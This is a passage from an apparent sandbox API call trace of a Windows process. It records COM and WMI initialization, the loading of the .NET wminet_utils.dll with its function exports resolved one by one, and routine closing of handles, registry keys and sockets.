(hInternet=0xfb9ff8) returned 1 [0154.558] CloseHandle (hObject=0x4b0) returned 1 [0154.558] CloseHandle (hObject=0x4ac) returned 1 [0154.559] RegCloseKey (hKey=0x4a8) returned 0x0 [0154.559] CloseHandle (hObject=0x4a4) returned 1 [0154.559] RegCloseKey (hKey=0x4a0) returned 0x0 [0154.559] CloseHandle (hObject=0x49c) returned 1 [0154.560] RegCloseKey (hKey=0x498) returned 0x0 [0154.560] RegCloseKey (hKey=0x494) returned 0x0 [0154.560] CloseHandle (hObject=0x47c) returned 1 [0154.561] setsockopt (s=0x470, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0154.561] closesocket (s=0x470) returned 0 [0154.561] CloseHandle (hObject=0x474) returned 1 [0154.561] setsockopt (s=0x468, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0154.562] closesocket (s=0x468) returned 0 [0154.562] CloseHandle (hObject=0x46c) returned 1 [0154.562] CloseHandle (hObject=0x418) returned 1 [0154.562] CloseHandle (hObject=0x414) returned 1 [0154.563] CloseHandle (hObject=0x410) returned 1 [0154.563] CloseHandle (hObject=0x40c) returned 1 [0154.563] CloseHandle (hObject=0x408) returned 1 [0154.564] CloseHandle (hObject=0x404) returned 1 [0154.564] CloseHandle (hObject=0x3fc) returned 1 [0154.564] CloseHandle (hObject=0x58c) returned 1 [0154.565] CloseHandle (hObject=0x578) returned 1 [0154.565] CloseHandle (hObject=0x3c8) returned 1 [0154.566] CloseHandle (hObject=0x3f0) returned 1 [0154.566] CloseHandle (hObject=0x3ec) returned 1 [0154.567] CloseHandle (hObject=0x3e8) returned 1 [0154.567] CloseHandle (hObject=0x3e4) returned 1 [0154.567] CloseHandle (hObject=0x3e0) returned 1 [0154.568] CloseHandle (hObject=0x3dc) returned 1 [0154.568] CloseHandle (hObject=0x3d8) returned 1 [0154.568] CloseHandle (hObject=0x3cc) returned 1 [0154.569] setsockopt (s=0x580, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0154.569] closesocket (s=0x580) returned 0 [0154.570] CloseHandle (hObject=0x584) returned 1 [0154.571] RegCloseKey (hKey=0x80000004) returned 0x0 [0154.574] CoGetContextToken (in: pToken=0xb9f560 | out: pToken=0xb9f560) returned 0x0 [0154.574] CoGetContextToken (in: pToken=0xb9f4e0 | out: pToken=0xb9f4e0) returned 0x0 [0154.574] WbemDefPath:IUnknown:Release (This=0xf6dc98) returned 0x1 [0154.574] WbemDefPath:IUnknown:Release (This=0xf6dc98) returned 0x0 [0154.574] CoGetContextToken (in: pToken=0xb9f560 | out: pToken=0xb9f560) returned 0x0 [0154.574] CoGetContextToken (in: pToken=0xb9f4e0 | out: pToken=0xb9f4e0) returned 0x0 [0154.574] WbemLocator:IUnknown:Release (This=0xf8dc68) returned 0x1 [0154.574] WbemLocator:IUnknown:Release (This=0xf27b20) returned 0x0 [0154.620] CoReleaseMarshalData (pStm=0xf8c688) returned 0x0 [0154.626] IUnknown:Release (This=0xf21110) returned 0x0 Thread: id = 18 os_tid = 0x129c [0147.422] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0147.422] RoInitialize () returned 0x1 [0147.422] RoUninitialize () returned 0x0 [0147.453] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0xcdf45c | out: lpiid=0xcdf45c) returned 0x0 [0147.468] CoGetClassObject (in: rclsid=0xf707ac*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x6f1e4d80*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcdf168 | out: ppv=0xcdf168*=0xf6fef0) returned 0x0 [0147.557] WbemDefPath:IUnknown:QueryInterface (in: This=0xf6fef0, riid=0x6f1c79fc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0xcdf384 | out: ppvObject=0xcdf384*=0x0) returned 0x80004002 [0147.557] WbemDefPath:IClassFactory:CreateInstance (in: This=0xf6fef0, pUnkOuter=0x0, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xcdf390 | out: ppvObject=0xcdf390*=0xf6dc98) returned 0x0 [0147.557] WbemDefPath:IUnknown:Release (This=0xf6fef0) returned 0x0 [0147.558] WbemDefPath:IUnknown:QueryInterface (in: This=0xf6dc98, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xcdefb4 | out: ppvObject=0xcdefb4*=0xf6dc98) returned 0x0 [0147.558] WbemDefPath:IUnknown:QueryInterface (in: This=0xf6dc98, riid=0x6f209c98*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0xcdef70 | out: ppvObject=0xcdef70*=0x0) returned 0x80004002 [0147.558] WbemDefPath:IUnknown:QueryInterface (in: This=0xf6dc98, riid=0x6f209c88*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0xcdeb64 | out: ppvObject=0xcdeb64*=0x0) returned 0x80004002 [0147.558] WbemDefPath:IUnknown:AddRef (This=0xf6dc98) returned 0x3 [0147.558] WbemDefPath:IUnknown:QueryInterface (in: This=0xf6dc98, riid=0x6f2098cc*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0xcde8c4 | out: ppvObject=0xcde8c4*=0x0) returned 0x80004002 [0147.558] WbemDefPath:IUnknown:QueryInterface (in: This=0xf6dc98, riid=0x6f209820*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0xcde874 | out: ppvObject=0xcde874*=0x0) returned 0x80004002 [0147.558] WbemDefPath:IUnknown:QueryInterface (in: This=0xf6dc98, riid=0x6f0aa540*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xcde880 | out: ppvObject=0xcde880*=0xf6e270) returned 0x0 [0147.559] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0xf6e270, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0xcde888 | out: pCid=0xcde888*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0147.559] WbemDefPath:IUnknown:Release (This=0xf6e270) returned 0x3 [0147.559] CoGetContextToken (in: pToken=0xcde8e0 | out: pToken=0xcde8e0) returned 0x0 [0147.560] CoGetContextToken (in: pToken=0xcdece8 | out: pToken=0xcdece8) returned 0x0 [0147.560] WbemDefPath:IUnknown:QueryInterface (in: This=0xf6dc98, riid=0x6f209b0c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xcded74 | out: ppvObject=0xcded74*=0x0) returned 0x80004002 [0147.560] WbemDefPath:IUnknown:Release (This=0xf6dc98) returned 0x2 [0147.560] WbemDefPath:IUnknown:Release (This=0xf6dc98) returned 0x1 [0147.561] SetEvent (hEvent=0x2d4) returned 1 Thread: id = 19 os_tid = 0x1288 Thread: id = 20 os_tid = 0x6b8 Thread: id = 21 os_tid = 0xa18 Thread: id = 22 os_tid = 0x1294 [0147.590] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0147.590] RoInitialize () returned 0x1 [0147.590] RoUninitialize () returned 0x0 [0147.591] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x4cff494 | out: lpiid=0x4cff494) returned 0x0 [0147.592] CoGetClassObject (in: rclsid=0xf705fc*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x6f1e4d80*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x4cff1a0 | out: ppv=0x4cff1a0*=0xf886a8) returned 0x0 [0147.603] WbemLocator:IUnknown:QueryInterface (in: This=0xf886a8, riid=0x6f1c79fc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x4cff3bc | out: ppvObject=0x4cff3bc*=0x0) returned 0x80004002 [0147.603] WbemLocator:IClassFactory:CreateInstance (in: This=0xf886a8, pUnkOuter=0x0, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4cff3c8 | out: ppvObject=0x4cff3c8*=0xf6fde0) returned 0x0 [0147.603] WbemLocator:IUnknown:Release (This=0xf886a8) returned 0x0 [0147.603] WbemLocator:IUnknown:QueryInterface (in: This=0xf6fde0, riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4cfefec | out: ppvObject=0x4cfefec*=0xf6fde0) returned 0x0 [0147.604] WbemLocator:IUnknown:QueryInterface (in: This=0xf6fde0, riid=0x6f209c98*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x4cfefa8 | out: ppvObject=0x4cfefa8*=0x0) returned 0x80004002 [0147.604] WbemLocator:IUnknown:QueryInterface (in: This=0xf6fde0, riid=0x6f209c88*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x4cfeb9c | out: ppvObject=0x4cfeb9c*=0x0) returned 0x80004002 [0147.604] WbemLocator:IUnknown:AddRef (This=0xf6fde0) returned 0x3 [0147.604] WbemLocator:IUnknown:QueryInterface (in: This=0xf6fde0, riid=0x6f2098cc*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x4cfe8fc | out: ppvObject=0x4cfe8fc*=0x0) returned 0x80004002 [0147.604] WbemLocator:IUnknown:QueryInterface (in: This=0xf6fde0, riid=0x6f209820*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x4cfe8ac | out: ppvObject=0x4cfe8ac*=0x0) returned 0x80004002 [0147.604] WbemLocator:IUnknown:QueryInterface (in: This=0xf6fde0, riid=0x6f0aa540*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4cfe8b8 | out: ppvObject=0x4cfe8b8*=0x0) returned 0x80004002 [0147.604] CoGetContextToken (in: pToken=0x4cfe918 | out: pToken=0x4cfe918) returned 0x0 [0147.605] CoGetObjectContext (in: riid=0x6f09de2c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xf887cc | out: ppv=0xf887cc*=0xf21110) returned 0x0 [0147.606] CoGetContextToken (in: pToken=0x4cfed20 | out: pToken=0x4cfed20) returned 0x0 [0147.606] WbemLocator:IUnknown:QueryInterface (in: This=0xf6fde0, riid=0x6f209b0c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4cfedac | out: ppvObject=0x4cfedac*=0x0) returned 0x80004002 [0147.606] WbemLocator:IUnknown:Release (This=0xf6fde0) returned 0x2 [0147.606] WbemLocator:IUnknown:Release (This=0xf6fde0) returned 0x1 [0147.607] CoGetContextToken (in: pToken=0x4cff3a8 | out: pToken=0x4cff3a8) returned 0x0 [0147.607] CoGetContextToken (in: pToken=0x4cff308 | out: pToken=0x4cff308) returned 0x0 [0147.607] WbemLocator:IUnknown:QueryInterface (in: This=0xf6fde0, riid=0x4cff3d8*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x4cff3d4 | out: ppvObject=0x4cff3d4*=0xf6fde0) returned 0x0 [0147.607] WbemLocator:IUnknown:AddRef (This=0xf6fde0) returned 0x3 [0147.608] WbemLocator:IUnknown:Release (This=0xf6fde0) returned 0x2 [0147.619] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0xf6dc98, puCount=0x4cff56c | out: puCount=0x4cff56c*=0x2) returned 0x0 [0147.619] WbemDefPath:IWbemPath:GetText (in: This=0xf6dc98, lFlags=8, puBuffLength=0x4cff568*=0x0, pszText=0x0 | out: puBuffLength=0x4cff568*=0xf, pszText=0x0) returned 0x0 [0147.619] WbemDefPath:IWbemPath:GetText (in: This=0xf6dc98, lFlags=8, puBuffLength=0x4cff568*=0xf, pszText="00000000000000" | out: puBuffLength=0x4cff568*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0147.626] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x4cfe7a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0147.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", cchWideChar=63, lpMultiByteStr=0x4cfece8, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll", lpUsedDefaultChar=0x0) returned 63 [0147.630] LoadLibraryA (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\wminet_utils.dll") returned 0x6bb50000 [0147.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ResetSecurity", cchWideChar=13, lpMultiByteStr=0x4cfed1c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResetSecurity ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04\x01", lpUsedDefaultChar=0x0) returned 13 [0147.643] GetProcAddress (hModule=0x6bb50000, lpProcName="ResetSecurity") returned 0x6bb52cc0 [0147.653] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SetSecurity", cchWideChar=11, lpMultiByteStr=0x4cfed1c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SetSecurity", lpUsedDefaultChar=0x0) returned 11 [0147.654] GetProcAddress (hModule=0x6bb50000, lpProcName="SetSecurity") returned 0x6bb52d10 [0147.665] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServices", cchWideChar=18, lpMultiByteStr=0x4cfed18, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 18 [0147.666] GetProcAddress (hModule=0x6bb50000, lpProcName="BlessIWbemServices") returned 0x6bb52090 [0147.712] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BlessIWbemServicesObject", cchWideChar=24, lpMultiByteStr=0x4cfed10, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BlessIWbemServicesObject´ ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 24 [0147.712] GetProcAddress (hModule=0x6bb50000, lpProcName="BlessIWbemServicesObject") returned 0x6bb520f0 [0147.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyHandle", cchWideChar=17, lpMultiByteStr=0x4cfed18, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyHandle ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 17 [0147.746] GetProcAddress (hModule=0x6bb50000, lpProcName="GetPropertyHandle") returned 0x6bb527a0 [0147.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WritePropertyValue", cchWideChar=18, lpMultiByteStr=0x4cfed18, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WritePropertyValueÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 18 [0147.761] GetProcAddress (hModule=0x6bb50000, lpProcName="WritePropertyValue") returned 0x6bb52e50 [0147.775] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x4cfed24, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 5 [0147.775] GetProcAddress (hModule=0x6bb50000, lpProcName="Clone") returned 0x6bb52150 [0147.789] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VerifyClientKey", cchWideChar=15, lpMultiByteStr=0x4cfed18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VerifyClientKey", lpUsedDefaultChar=0x0) returned 15 [0147.789] GetProcAddress (hModule=0x6bb50000, lpProcName="VerifyClientKey") returned 0x6bb52e00 [0147.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetQualifierSet", cchWideChar=15, lpMultiByteStr=0x4cfed18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetQualifierSet", lpUsedDefaultChar=0x0) returned 15 [0147.795] GetProcAddress (hModule=0x6bb50000, lpProcName="GetQualifierSet") returned 0x6bb52860 [0147.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Get", cchWideChar=3, lpMultiByteStr=0x4cfed24, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Get", lpUsedDefaultChar=0x0) returned 3 [0147.797] GetProcAddress (hModule=0x6bb50000, lpProcName="Get") returned 0x6bb52630 [0147.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Put", cchWideChar=3, lpMultiByteStr=0x4cfed24, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Put", lpUsedDefaultChar=0x0) returned 3 [0147.825] GetProcAddress (hModule=0x6bb50000, lpProcName="Put") returned 0x6bb52970 [0147.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Delete", cchWideChar=6, lpMultiByteStr=0x4cfed24, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 6 [0147.849] GetProcAddress (hModule=0x6bb50000, lpProcName="Delete") returned 0x6bb52410 [0147.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetNames", cchWideChar=8, lpMultiByteStr=0x4cfed20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetNames´ ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 8 [0147.863] GetProcAddress (hModule=0x6bb50000, lpProcName="GetNames") returned 0x6bb52740 [0147.892] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginEnumeration", cchWideChar=16, lpMultiByteStr=0x4cfed18, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginEnumeration´ ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 16 [0147.892] GetProcAddress (hModule=0x6bb50000, lpProcName="BeginEnumeration") returned 0x6bb52050 [0147.919] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Next", cchWideChar=4, lpMultiByteStr=0x4cfed24, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Next´ ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 4 [0147.919] GetProcAddress (hModule=0x6bb50000, lpProcName="Next") returned 0x6bb52910 [0147.941] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="EndEnumeration", cchWideChar=14, lpMultiByteStr=0x4cfed1c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EndEnumerationÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 14 [0147.941] GetProcAddress (hModule=0x6bb50000, lpProcName="EndEnumeration") returned 0x6bb524d0 [0147.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyQualifierSet", cchWideChar=23, lpMultiByteStr=0x4cfed10, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyQualifierSet", lpUsedDefaultChar=0x0) returned 23 [0147.952] GetProcAddress (hModule=0x6bb50000, lpProcName="GetPropertyQualifierSet") returned 0x6bb52830 [0147.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Clone", cchWideChar=5, lpMultiByteStr=0x4cfed24, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Clone ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 5 [0147.970] GetProcAddress (hModule=0x6bb50000, lpProcName="Clone") returned 0x6bb52150 [0147.970] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetObjectText", cchWideChar=13, lpMultiByteStr=0x4cfed1c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetObjectText ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 13 [0147.970] GetProcAddress (hModule=0x6bb50000, lpProcName="GetObjectText") returned 0x6bb52770 [0147.989] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnDerivedClass", cchWideChar=17, lpMultiByteStr=0x4cfed18, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnDerivedClass ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 17 [0147.989] GetProcAddress (hModule=0x6bb50000, lpProcName="SpawnDerivedClass") returned 0x6bb52d60 [0148.002] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SpawnInstance", cchWideChar=13, lpMultiByteStr=0x4cfed1c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpawnInstance ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 13 [0148.003] GetProcAddress (hModule=0x6bb50000, lpProcName="SpawnInstance") returned 0x6bb52d90 [0148.004] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CompareTo", cchWideChar=9, lpMultiByteStr=0x4cfed20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CompareTo ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 9 [0148.005] GetProcAddress (hModule=0x6bb50000, lpProcName="CompareTo") returned 0x6bb52200 [0148.019] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetPropertyOrigin", cchWideChar=17, lpMultiByteStr=0x4cfed18, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetPropertyOrigin ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 17 [0148.020] GetProcAddress (hModule=0x6bb50000, lpProcName="GetPropertyOrigin") returned 0x6bb52800 [0148.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="InheritsFrom", cchWideChar=12, lpMultiByteStr=0x4cfed1c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InheritsFrom´ ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 12 [0148.041] GetProcAddress (hModule=0x6bb50000, lpProcName="InheritsFrom") returned 0x6bb52880 [0148.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetMethod", cchWideChar=9, lpMultiByteStr=0x4cfed20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetMethod ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 9 [0148.043] GetProcAddress (hModule=0x6bb50000, lpProcName="GetMethod") returned 0x6bb526b0 [0148.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PutMethod", cchWideChar=9, lpMultiByteStr=0x4cfed20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PutMethod ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 9 [0148.060] GetProcAddress (hModule=0x6bb50000, lpProcName="PutMethod") returned 0x6bb52ae0 [0148.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DeleteMethod", cchWideChar=12, lpMultiByteStr=0x4cfed1c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DeleteMethod´ ÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 12 [0148.069] GetProcAddress (hModule=0x6bb50000, lpProcName="DeleteMethod") returned 0x6bb52430 [0148.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeginMethodEnumeration", cchWideChar=22, lpMultiByteStr=0x4cfed14, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeginMethodEnumerationÌkÓ\x90j\x0c(ú\x06oèïÏ\x04", lpUsedDefaultChar=0x0) returned 22 [0148.070] GetProcAddress 